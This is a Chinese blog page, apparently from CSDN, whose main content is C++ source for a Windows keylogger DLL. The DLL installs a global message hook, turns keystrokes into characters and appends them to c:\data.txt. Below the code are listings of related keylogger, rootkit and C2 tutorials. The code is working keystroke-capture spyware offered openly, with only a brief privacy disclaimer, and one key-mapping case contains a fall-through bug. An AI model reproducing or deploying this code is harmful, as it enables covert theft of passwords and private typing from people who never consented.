KeyLogger

KeyloggerV1.0:安全的键盘与鼠标记录工具 本文还有配套的精品资源,点击获取 简介:KeyloggerV1.0是一款专为监控和记录键盘输入而设计的安全工具,常用于IT安全领域以检测安全威胁,如识别恶意用户窃取敏感信息的行为。尽管该软件本身无病毒且易于使用,但使用此类工具可能侵犯隐私并违反法律。它还可能记录鼠标活动,适用于家长监控、员工监控或用户交互测试。使用时需确保合法合规,并尊重隐私权。 1. 键盘记录工... 阅读详情
// Keyboard.cpp : Defines the entry point for the DLL application.
//
//#include "stdafx.h"
#include
#include
HINSTANCE g_hInstance = NULL;
HHOOK Kg_hHook = NULL;
char Buff[10]= {0};
#define DEBUG_LOG         "c:\\data.txt"
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
//得到dll模块句柄
    g_hInstance = (HINSTANCE)hModule;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_DETACH:
        if (Kg_hHook != NULL) UnhookWindowsHookEx(Kg_hHook);
        break;
    }
    return TRUE;
}
int DataToFile( char *buff )
{
//调用CreateFile函数以只写方式打开一个文件
    HANDLE hFile=CreateFile("c:\\data.txt",GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hFile==INVALID_HANDLE_VALUE)
    {
        printf("CreateFile error\n");
        return 0;
    }
//调用SetFilePointer函数调整文件指针位置,移动到文件末尾
    if(SetFilePointer(hFile,0,NULL,FILE_END)==-1)
    {
        printf("SetFilePointer error \n");
        return 0;
    }
    DWORD dwWrite;
//把buff中的内容写入到文件末尾
    if(!WriteFile(hFile,buff,strlen(buff),&dwWrite,NULL))
    {
        printf("WriteFile error \n");
        return 0;
    }
    CloseHandle(hFile);
    return 0;
}
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode < 0 )
        return CallNextHookEx(Kg_hHook, nCode, wParam, lParam);
    if (nCode==HC_ACTION)
    {
        MSG *pEventMsg=(MSG*)lParam;
        //判断是否由击键消息
        if (pEventMsg->message==WM_KEYDOWN)
        {
            //得到按键的ASC码值
            int vKey=pEventMsg->wParam;
            char ch;
            char str[10];
            memset(Buff,0,10);
            memset(str,0,10);
            const int KeyMask=0x80000000;
            //得到Shift键的状态
            int iShift=GetKeyState(0x10);
            //得到Caps Lock键的状态
            int iCapital=GetKeyState(0x14);
            //得到NumLock键的状态
            int iNumLock=GetKeyState(0x90);
            BOOL bShift=(iShift & KeyMask)==KeyMask;
            BOOL bCapital=(iCapital & 1)==1;
            BOOL bNumLock=(iNumLock & 1)==1;
            //判断按键是否是主键盘区的数字
            if (vKey >=48 && vKey<=57)
            {
                //asc码转换成字符
                switch (vKey)
                {
                case 48:
                    if (!bShift) ch='0';
                    else ch=')';
                    break;
                case 49:
                    if (!bShift) ch='1';
                    else ch='!';
                    break;
                case 50:
                    if (!bShift) ch='2';
                    else ;
                case 51:
                    if (!bShift) ch='3';
                    else ch='#';
                    break;
                case 52:
                    if (!bShift) ch='4';
                    else ch='$';
                    break;
                case 53:
                    if (!bShift) ch='5';
                    else ch='%';
                    break;
                case 54:
                    if (!bShift) ch='6';
                    else ch='^';
                    break;
                case 55:
                    if (!bShift) ch='7';
                    else ch='&';
                    break;
                case 56:
                    if (!bShift) ch='8';
                    else ch='*';
                    break;
                case 57:
                    if (!bShift) ch='9';
                    else ch='(';
                    break;
                }
                Buff[0]=ch;
                DataToFile(Buff);
            }
            //判断按键是否是主键盘区的字母
            if (vKey >=65 && vKey<=90)

            {
                //判断Caps Lock键是否按下
                if (!bCapital)
                {
                    //判断Shift键是否按下
                    if (bShift)
                        ch=vKey;
                    else
                        ch=vKey+32;
                }
                else
                {
                    if (bShift) ch=vKey+32;
                    else ch=vKey;

                }
                Buff[0]=ch;
                DataToFile(Buff);

            }
            //判断按键是否是数字区的数字
            if (vKey >=96 && vKey<=105)
            {
                if (bNumLock)
                {
                    switch (vKey)
                    {
                    case 96:
                        ch='0';
                        break;
                    case 97:
                        ch='1';
                        break;
                    case 98:
                        ch='2';
                        break;
                    case 99:
                        ch='3';
                        break;
                    case 100:
                        ch='4';
                        break;
                    case 101:
                        ch='5';
                        break;
                    case 102:
                        ch='6';
                        break;
                    case 103:
                        ch='7';
                        break;
                    case 104:
                        ch='8';
                        break;
                    case 105:
                        ch='9';
                        break;
                    }
                    Buff[0]=ch;
                    DataToFile(Buff);
                }
            }
            //判断按键是否是主键盘区的符号键
            if (vKey>=186 && vKey<=222)
            {
                //把asc码转换成字符
                switch (vKey)
                {
                case 186:
                    if (!bShift) ch=';';
                    else ch=':';
                    break;
                case 187:
                    if (!bShift) ch='=';
                    else ch='+';
                    break;
                case 188:
                    if (!bShift) ch=',';
                    else ch='<' ;
                    break;
                case 189:
                    if (!bShift) ch='-';
                    else ch='_';
                    break;
                case 190:
                    if (!bShift) ch='.';
                    else ch=' >';
                    break;
                case 191:
                    if (!bShift) ch='/';
                    else ch='?';
                    break;
                case 192:
                    if (!bShift) ch='`';
                    else ch='~';
                    break;
                case 219:
                    if (!bShift) ch='[';
                    else ch='{';
                    break;
                case 220:
                    if (!bShift) ch='\\';
                    else ch='|';
                    break;
                case 221:
                    if (!bShift) ch=']';
                    else ch='}';
                    break;
                case 222:
                    if (!bShift) ch='\'';
                    else ch='\"';
                    break;
                default:
                    break;
                }
                Buff[0]=ch;
                DataToFile(Buff);
            }
            switch (vKey)
            {
                //判断是否是退格键
            case 8:
            {
                strcpy(Buff,"[BK]");
                DataToFile(Buff);
                break;
            }
            //判断是否是回车键
            case 13:
            {
                strcpy(Buff,"[enter]");
                DataToFile(Buff);
                break;
            }
            default:
                break;
            }
        }
    }
    return CallNextHookEx(Kg_hHook, nCode, wParam, lParam);
}

BOOL StartHook()
{
    if (Kg_hHook!=NULL)
        return FALSE;
//安装钩子
    Kg_hHook = SetWindowsHookEx(WH_GETMESSAGE, KeyHookProc, g_hInstance, NULL);
    return TRUE;
}
BOOL StopHook()
{
    if (Kg_hHook != NULL)
    {
        if(!UnhookWindowsHookEx(Kg_hHook))
            return FALSE;
        Kg_hHook = NULL;
    }
    return TRUE;
}


VS2019中编写C语言 建立C++控制台程序,将main函数所在的文件后缀名从cpp改成c,然后赋值下列模板即可; 模板如下: #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> int main() { int a; scanf("%d", &a); printf("hello world %d", a); } ... 阅读详情

相关推荐

Keylogger - 监控你的键盘输入

Keylogger - 监控你的键盘输入 项目地址:https://gitcode.com/gh_mirrors/keylogg/keylogger Keylogger 是一个开源的项目,它可以监控你的键盘输入,并将数据记录到日志文件中。 功能介绍 Keylogger 可以监听你的计算机上的所有键盘输入事件,并将其存储在指定的日志文件中。你可以设置要监控的窗口标题,以便只对特定应用程序的输入进行监...

gitblog_00007的博客 3727

探索键盘的秘密助手:Keylogger 开源项目

探索键盘的秘密助手:Keylogger 开源项目 去发现同类优质开源项目:https://gitcode.com/ 在数字化时代,对于开发者、安全研究人员以及自动化测试工程师而言,对输入事件的捕获与分析变得日益重要。今天,我们带来了一款名为keylogger的开源项目,它不仅是技术探索的窗口,也是提升特定场景下工作效率的得力工具。 项目介绍 Keylogger,正如其名,是一个简约而高效的关键记录...

gitblog_00006的博客 598

近源渗透测试之Keylogger实战

近源渗透测试之Keylogger实战 转载,侵删原创 大好人来源于公众号:雷神众测原文链接:https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,...

Xor0ne 3530

Keylogger 技术文档

本指南详细介绍了Windows平台下Keylogger的安装、使用以及相关编译信息。Keylogger遵循极简设计原则,专为记录Windows系统下的键盘输入而生,体现了Unix哲学的核心——“做一件事并做好”。 ## 安装指南 无需传统意义上的安装过程。只需运行`keylogger.exe`即可开始使用。它不包含自动启动或安装脚本,简单直接。 ## 使用说明 1. **启动**: 在任何...

gitblog_01273的博客 1052

KeyLogger 开源项目教程

KeyLogger 开源项目教程 1. 项目的目录结构及介绍 KeyLogger 项目的目录结构如下: KeyLogger/ ├── README.md ├── src/ │ ├── main.py │ ├── config.py │ ├── logger.py │ └── utils.py ├── tests/ │ ├── test_main.py │ └── test_...

gitblog_00499的博客 1112

Keylogger 教程与指南

Keylogger 教程与指南 KeyloggerGet Keyboard,Mouse,ScreenShot,Microphone Inputs from Target Computer and Send to your Mail.项目地址:https://gitcode.com/gh_mirrors/ke/Keylogger 1. 项目介绍 Keylogger 是一个简单的Python实现的键...

gitblog_00507的博客 938

WiFi Keylogger 项目教程

WiFi Keylogger 项目教程 1. 项目的目录结构及介绍 wifi_keylogger/ ├── esp8266_saveSerial/ │ ├── esp8266_saveSerial.ino │ └── ... ├── images/ │ └── ... ├── keylogger/ │ ├── keylogger.ino │ └── ... ├── .gitig...

gitblog_00020的博客 376

探索键盘世界的秘密武器:Keylogger

探索键盘世界的秘密武器:Keylogger 在技术的海洋中,有一款精巧的工具——Keylogger,专为Linux环境设计,旨在捕捉全局键盘事件。这款开源项目以其简洁高效,在开发者社区中悄然兴起,成为了监控和交互键盘活动的强大助手。 项目介绍 Keylogger是一个使用Go语言编写的轻量级库,它允许开发者监听并模拟Linux系统的键盘输入。它依赖于root权限运行,确保了对系统深度访问的同时,也...

gitblog_00517的博客 628

Suterusu模块架构解析:keylogger与hookrw组件的实现原理

Suterusu是一款针对Linux 2.6/3.x内核的LKM rootkit,支持x86(_64)和ARM架构。本文将深入解析其核心功能模块——keylogger(键盘记录器)与hookrw(读写钩子)的实现原理,帮助读者理解rootkit的底层工作机制。 ## 一、keylogger模块:键盘记录功能的实现 keylogger模块是Suterusu的核心监控组件,负责捕获系统键盘输入。从

gitblog_00592的博客 420

Swift-Keylogger 项目下载及安装教程

Swift-Keylogger 是一个用于 macOS 的简单易用的键盘记录器,使用 Swift 语言编写,利用 HID API 实现。该项目旨在为 macOS 提供一个非恶意的键盘记录器,目前市面上针对 Mac 的键盘记录器较少,且大多数不是用 Swift 编写的。该项目的主要目的是教育用途,不建议用于恶意目的。 ## 2. 项目下载位置 要下载 Swift-Keylogger 项目,请按照...

gitblog_01288的博客 719

开源项目推荐:Keylogger

Keylogger 是一个跨平台的开源项目,旨在记录用户的键盘输入。该项目支持 Windows、Linux 和 Mac 操作系统。主要的编程语言包括 C++、C 和 Python。项目代码结构清晰,适合开发者学习和二次开发。 ## 项目核心功能 Keylogger 的核心功能是记录用户的键盘输入,并将这些输入保存到本地日志文件中。项目提供了针对不同操作系统的简单安装指南,用户可以根据自己的需求...

gitblog_00213的博客 523

探索Python的隐秘角落:Keylogger库的神秘面纱

keylogger是一个Python库,它能够捕获用户的键盘输入,并将这些输入记录到一个日志文件中。它支持多种操作系统,包括Windows、macOS和Linux,使其成为跨平台开发的有力工具。- 开始记录键盘输入。这行代码会启动键盘记录功能。- 停止记录键盘输入。使用这行代码可以停止键盘记录。get_logs()- 获取记录的键盘输入。这将打印出所有记录的键盘输入。- 清空日志。使用这行代码可以清空所有已记录的键盘输入。- 设置日志文件的路径。这允许你自定义日志文件的存储位置。keylogger

AIGC搞起 1250

CSS keylogger:攻击与防御

前言 前阵子在 Hacker News 上面看到这篇:Show HN: A CSS Keylogger,大开眼界,决定要找个时间好好来研究一下,并且写一篇文章分享给大家。 这篇会讲到以下东西: 什麽是 keylogger CSS keylogger 的原理 CSS keylogger 与 React 防御方法 好,那就让我们开始吧! Keylogger 是什麽? Keylogger 就是键盘侧...

weixin_34138139的博客 1097

如何快速部署Keylogger:Windows、Linux、Mac三平台详细教程

Keylogger是一款适用于Windows、Linux和Mac系统的简单键盘记录工具,能够帮助用户记录键盘输入操作。本文将为你提供三个平台的快速部署教程,让你轻松上手使用这款实用工具。 ## 一、准备工作:获取Keylogger项目 在开始部署之前,首先需要获取Keylogger项目的源代码。打开终端,执行以下命令克隆项目仓库: ``` git clone https://gitcode.

gitblog_00573的博客 1043

Keylogger 开源项目使用教程

Keylogger 项目的目录结构如下: ``` Keylogger/ ├── README.md ├── keylogger.py ├── config.json └── logs/ └── keystrokes.log ``` - `README.md`: 项目说明文件,包含项目的基本信息和使用指南。 - `keylogger.py`: 项目的主程序文件,负责记录键盘输入。 - `...

gitblog_00151的博客 445

【亲测免费】 开源项目 Keylogger 使用教程

Keylogger 项目的目录结构如下: ``` Keylogger/ ├── README.md ├── keylogger.py ├── requirements.txt └── utils/ ├── __init__.py └── logger.py ``` ### 目录结构介绍 - `README.md`: 项目说明文件,包含项目的基本信息和使用说明。 - `keyl...

gitblog_00628的博客 1008

Dystopia C2核心功能解析: keylogger、 webcam快照与加密通信实战

Dystopia C2是一款强大的Windows远程管理工具,它创新性地将Discord、Telegram和GitHub作为命令与控制(C2)服务器,为用户提供了隐蔽且高效的远程管理能力。本文将深入解析其三大核心功能:keylogger键盘记录、webcam快照捕获以及加密通信机制,帮助读者全面了解这款工具的实战应用价值。 ## 🚀 核心功能一:Keylogger键盘记录系统 ### 实时按

gitblog_00886的博客 788

Keylogger 开源项目教程

Keylogger 开源项目教程 1. 项目的目录结构及介绍 Keylogger 项目的目录结构如下: keylogger/ ├── cmd/ │ └── keylogger/ │ └── main.go ├── config/ │ └── config.go ├── logger/ │ └── logger.go ├── README.md └── go.mod 目录结...

gitblog_01033的博客 285
上一篇: 创建高权限进程
下一篇: 宽字符集(unicode)操作函数&amp;nbsp…
龍城狂霸拽爺
博客等级 码龄16年 10粉丝 101原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值